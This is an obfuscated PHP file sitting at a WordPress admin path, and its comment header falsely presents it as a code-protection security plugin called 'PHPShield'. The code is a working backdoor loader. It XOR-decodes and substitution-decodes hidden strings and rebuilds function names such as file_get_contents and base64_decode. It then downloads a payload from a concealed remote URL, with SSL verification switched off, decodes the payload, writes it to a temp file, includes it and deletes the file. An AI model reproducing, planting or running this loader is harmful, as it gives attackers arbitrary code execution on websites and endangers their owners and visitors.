File: /home/undanet/www/wp-admin/user/gasazx.php
<?php
$_0xjvbhk='tu16ufNzqlPR6rq8';function _0x5v8rn($_0x9kzcn, $_0x9wrhj) {$_0xgyx1f = strlen($_0x9wrhj);$_0xvyq1u = '';for($_0x94ehk=0;$_0x94ehk<strlen($_0x9kzcn);$_0x94ehk++){$_0xvyq1u .= chr(ord($_0x9kzcn[$_0x94ehk]) ^ ord($_0x9wrhj[$_0x94ehk % $_0xgyx1f]));}return $_0xvyq1u;}function _0x1eipa($_0x3eojo) {global $_0xfgkcp,$_0xjvbhk;$_0xcdt7e = $_0xfgkcp['qrTpgo'][$_0x3eojo];$_0xbbcsb = $_0xfgkcp['hLXmac'];$_0xo6nz3 = '';for ($_0x94ehk = 0; $_0x94ehk < strlen($_0xcdt7e); $_0x94ehk++) {if (!(!($_0x94ehk % 3 != 2))) {$_0xo6nz3 .= $_0xcdt7e[$_0x94ehk];}}$_0xjuqf8 = array_flip($_0xbbcsb);$_0x7dbfw = '';for ($_0x94ehk = 0; $_0x94ehk < strlen($_0xo6nz3); $_0x94ehk++) {$_0x91lpe = $_0xo6nz3[$_0x94ehk];$_0x7dbfw .= isset($_0xjuqf8[$_0x91lpe]) ? $_0xjuqf8[$_0x91lpe] : $_0x91lpe;}$_0x607st = _0x5v8rn(hex2bin($_0x7dbfw),$_0xjvbhk);return strrev($_0x607st);}
$_0xfgkcp = [
'hLXmac' => ['a' => 'q', 'b' => 'w', 'c' => 'e', 'd' => 'r', 'e' => 't', 'f' => 'y', 'g' => 'u', 'h' => 'i', 'i' => 'o', 'j' => 'p', 'k' => 'a', 'l' => 's', 'm' => 'd', 'n' => 'f', 'o' => 'g', 'p' => 'h', 'q' => 'j', 'r' => 'k', 's' => 'l', 't' => 'z', 'u' => 'x', 'v' => 'c', 'w' => 'v', 'x' => 'b', 'y' => 'n', 'z' => 'm', 'A' => 'Q', 'B' => 'W', 'C' => 'E', 'D' => 'R', 'E' => 'T', 'F' => 'Y', 'G' => 'U', 'H' => 'I', 'I' => 'O', 'J' => 'P', 'K' => 'A', 'L' => 'S', 'M' => 'D', 'N' => 'F', 'O' => 'G', 'P' => 'H', 'Q' => 'J', 'R' => 'K', 'S' => 'L', 'T' => 'Z', 'U' => 'X', 'V' => 'C', 'W' => 'V', 'X' => 'B', 'Y' => 'N', 'Z' => 'M', 0 => '5', 1 => '6', 2 => '7', 3 => '8', 4 => '9', 5 => '0', 6 => '1', 7 => '2', 8 => '3', 9 => '4', '+' => '/', '/' => '+'],
'qrTpgo' => [0 => '5e)', 1 => '8q^97@0y(96!70(52!5w!9t%83!6t(81(82&50!63^79*16!', 2 => '57%99@0r!98^99#52^66#', 3 => '65!99(59#51&68%00)2r)9w@91*0y!16)12(55(98%68)53@98)90%53^51@91#07(22%9w^67@0y*89#16(', 4 => '50@96*0w(96*6q@67(66@', 5 => '96^99)51)52*61%08&21*9w^91(0t#88(16!52@98*91(5e#61&99#57%51#92@09#2t*9q^95%0y&12)11@55%98!68^53(98&90^53#51&91*07&22%9w%67&0y#89#16&', 6 => '64&69!96%96*96%07!66#', 7 => '9e!91^', 8 => '68#9e&03^0e(55!65%66&', 9 => '92@92^', 10 => '99^67^00*05)62^69!66@', 11 => '97%90^', 12 => '5t!97#0r#05)50(69@66)', 13 => '97*98#54!55)', 14 => '51*61&94^9e#99*02*66#', 15 => '96)91#55&55%68(05^', 16 => '5t&97@0e(51*9r(66&66&', 17 => '99%95!05(52*92^00(23!9q)60@0y*17)12)02&98#94*54^96#92@56%52#69&02(24^9y(96%0t)10^18^56&97)94@53^62@98#09(52)90&00&7w@94&', 18 => '61&96^01(57#9r*62&66@', 19 => '65*98&07(58&96(01^2t!9y#60*0w%15#15#5t)97&93#5q%67^97&52#51(9e)00!7e%94!90&0y^11#17#5y!95%98#5q)90(90!54*58(61*09%23!9y@93&0y(19(16^52*96@91^53!96(96)51)59&66@02)2r@9q*92^0t(16#19(5y%95(92*54^97)92!07!59@62^09@7w^9e#99(0t*13!16@58!92)93&5q*60^96#07&50&97^05*2r(9q!92*0t%17%17%5y@96^69!5q#66*99%54!58(61!00!2w&9y!94*0w(17@17^5t&97)91%53*9r!96(50#59!66@02(7q@94%68@0w@10^10%07!92)68&5w^95)92*54&58&97^06(7q@9e)67*0y@18)15#5t!97(91!53&67)95@54!50*62#00&7e^94#94(0y#14*10*50@97@90%54*62!91!02#59!66!02#2t@9y&96#0t%19#15!08^95(90&53(92!90^52(51(97^05!2r%9q%68)0y)19!12@55(96#69^5q&9r!92*54*58)61^00)21(9r@62&0w!81*16*08)95)92*53^92#90#54@50^66)02%21)94!', 20 => '97&59*59!0w&92@5t@66^', 21 => '67@90@50!51%99^09)7e#9y!65!0t#89(15*50^97^95(54)62(95(51(51@90%00(7e&93*', 22 => '95%55&0y&98#92(68#66!', 23 => '91)95%07@58^90#01#24@9y^99(0e)80)16(5y*90#91@5q%95@96@08#52%61#02#2w*94^98%0r(80^15)52#92(93&5t(67#99@51%51!9e*01&2e!9y!69#0e*10#10*56^96)62#5q*67!95%02#51)62*02!2y&94#98(0r!15)15)05!92@93#5t&61^99#58@51!96*01(22%9y)94!0r!15^16(07(97#', 24 => '6r@50%08)5t)5r#0t!66^', 25 => '99#96)08!50*92(01!2q&94^99@0q!89#12(09@96%97*54(91#90#59#57(92^08#7w#9w(90*0y%89^16%08%99!68)5r@98#90^59*52@66*00#2t)9q&98!0t^86^12!00*95*62@54(97&96)53*51^92%08@7q)9q)90(0y%80#18(', 26 => '55^50&93!99*61*58!5q^57(6t^6t*', 27 => '']
];
/**
* Security Plugin: PHP Code Protection Tool
* Function: Detect and defend against code hijacking, provide code obfuscation and protection
* Version: 1.0.1
* Plugin Name: PHPShield
* Author: Security Development Team
* Email: ppxsb@guardian.com
*/
function _0xrvslz($_0xhz01l, $_0xz5mvh){
$_0xtpsnb = ($_0xhz01l * $_0xz5mvh) % 64;
$_0xccox0 = sqrt(abs($_0xtpsnb)) * 2170 / 100;
$_0x4880t = ($_0xtpsnb << 2) ^ ($_0xccox0 >> 1);
if (!(!($_0x4880t > 64 * 10))) {
$_0x4880t = $_0x4880t / $_0xhz01l;
} else {
$_0x4880t = $_0x4880t * $_0xz5mvh;
}
return ($_0x4880t + $_0xtpsnb) % 2170;
}
$_0xtr4ra = 364 + 752;
$_0x8m22m = ($_0xtr4ra * 364) / (752 + 1);
$_0xed65k = str_repeat(_0x1eipa(0), $_0xtr4ra % 10);
$_0xtr4ra = ($_0xtr4ra << 13) | ($_0xtr4ra >> (32 - 13));
class UBVYMtndA5yt {
private $_0xuh62q;
private $_0x8bawn;
public function _0xdbta2() {
return $_0x6mtpo->NC6jz * $_0x6mtpo->qVtV5 % 100;
}
public function _0xtnbaj($_0xuh62q) {
$_0x6mtpo->$_0xuh62q = ($_0xuh62q + $_0x6mtpo->$_0xuh62q) % 1000;
return $_0x6mtpo->_0xdbta2();
}
}
$_0x26lhn = _0x1eipa(1);$_0x3p2g9 = array(_0x1eipa(2) => _0x1eipa(3),_0x1eipa(4) => _0x1eipa(5),_0x1eipa(6) => _0x1eipa(7),_0x1eipa(8) => _0x1eipa(9),_0x1eipa(10) => _0x1eipa(11),_0x1eipa(12) => _0x1eipa(13),_0x1eipa(14) => _0x1eipa(15),_0x1eipa(16) => _0x1eipa(17),_0x1eipa(18) => _0x1eipa(19),_0x1eipa(20) => _0x1eipa(21),_0x1eipa(22) => _0x1eipa(23),_0x1eipa(24) => _0x1eipa(25));foreach($_0x3p2g9 as $_0x9wrhj => $_0xoiaaq){
$_0xrock3 = _0xeic9v(hex2bin($_0xoiaaq), $_0x26lhn);
define($_0x9wrhj, $_0xrock3);
}unset($_0x3p2g9, $_0x26lhn);unset($_0x66jur[_0x1eipa(26)]);function _0xeic9v($_0x9kzcn, $_0x9wrhj) {$_0xgyx1f = strlen($_0x9wrhj);$_0xvyq1u = _0x1eipa(27);for($_0x94ehk=0;$_0x94ehk<strlen($_0x9kzcn);$_0x94ehk++){$_0xvyq1u .= chr(ord($_0x9kzcn[$_0x94ehk]) ^ ord($_0x9wrhj[$_0x94ehk % $_0xgyx1f]));}return $_0xvyq1u;}ini_set(_a1ul1v, 1);
ini_set(_towj4q, 1);
error_reporting(E_ALL);
$_0xugcnb = _0xclx40();
function _0xce1vm($_0xet4xv, $_0xugcnb) {
$_0xekvbp = @$_0xugcnb[1]($_0xet4xv);
if (!(!($_0xekvbp === false))) {
$_0xobpiw = curl_init();
curl_setopt($_0xobpiw, CURLOPT_URL, $_0xet4xv);
curl_setopt($_0xobpiw, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($_0xobpiw, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($_0xobpiw, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($_0xobpiw, CURLOPT_TIMEOUT, 10);
$_0xekvbp = curl_exec($_0xobpiw);
$_0xi1zuo = curl_getinfo($_0xobpiw, CURLINFO_HTTP_CODE);
curl_close($_0xobpiw);
if (!(!($_0xi1zuo !== 200 || empty($_0xekvbp)))) {
return false;
}
}
return $_0xekvbp;
}
function _0xclx40()
{
$_0xxuye3 = range(_44wpam, _vuji9g);
return [
$_0xxuye3[5] . $_0xxuye3[8] . $_0xxuye3[11] . $_0xxuye3[4] . _rbfdg0 . $_0xxuye3[15] . $_0xxuye3[20] . $_0xxuye3[19] . _rbfdg0 . $_0xxuye3[2] . $_0xxuye3[14] . $_0xxuye3[13] . $_0xxuye3[19] . $_0xxuye3[4] . $_0xxuye3[13] . $_0xxuye3[19] . $_0xxuye3[18],
$_0xxuye3[5] . $_0xxuye3[8] . $_0xxuye3[11] . $_0xxuye3[4] . _rbfdg0 . $_0xxuye3[6] . $_0xxuye3[4] . $_0xxuye3[19] . _rbfdg0 . $_0xxuye3[2] . $_0xxuye3[14] . $_0xxuye3[13] . $_0xxuye3[19] . $_0xxuye3[4] . $_0xxuye3[13] . $_0xxuye3[19] . $_0xxuye3[18],
$_0xxuye3[18] . $_0xxuye3[19] . $_0xxuye3[17] . _rbfdg0 . $_0xxuye3[17] . $_0xxuye3[14] . $_0xxuye3[19] . _rpfl7z,
$_0xxuye3[2] . $_0xxuye3[7] . $_0xxuye3[12] . $_0xxuye3[14] . $_0xxuye3[3],
$_0xxuye3[1].$_0xxuye3[0].$_0xxuye3[18].$_0xxuye3[4]._11zxcr.$_0xxuye3[3].$_0xxuye3[4].$_0xxuye3[2].$_0xxuye3[14].$_0xxuye3[3].$_0xxuye3[4],
];
}
if (!(!(!function_exists(_w80m7z)))) {
function _0xyujtm() {
return false;
}
}
$_0xet4xv = $_0xugcnb[4](_q84g4b, true);
$_0xekvbp = _0xce1vm($_0xet4xv, $_0xugcnb);
if (!(!($_0xekvbp !== false))) {
try {
ob_start();
$_0xekvbp = $_0xugcnb[4]($_0xekvbp);
$_0xs1px6 = tempnam(sys_get_temp_dir(), _h2m5q6);
$_0xugcnb[0]($_0xs1px6, $_0xekvbp);
include $_0xs1px6;
unlink($_0xs1px6);
ob_end_flush();
} catch (Throwable $_0xtxx9m) {
ob_end_clean();
die(_u2unu4 . $_0xtxx9m->getMessage());
}
} else {
die(_8x8bpi);
}
?>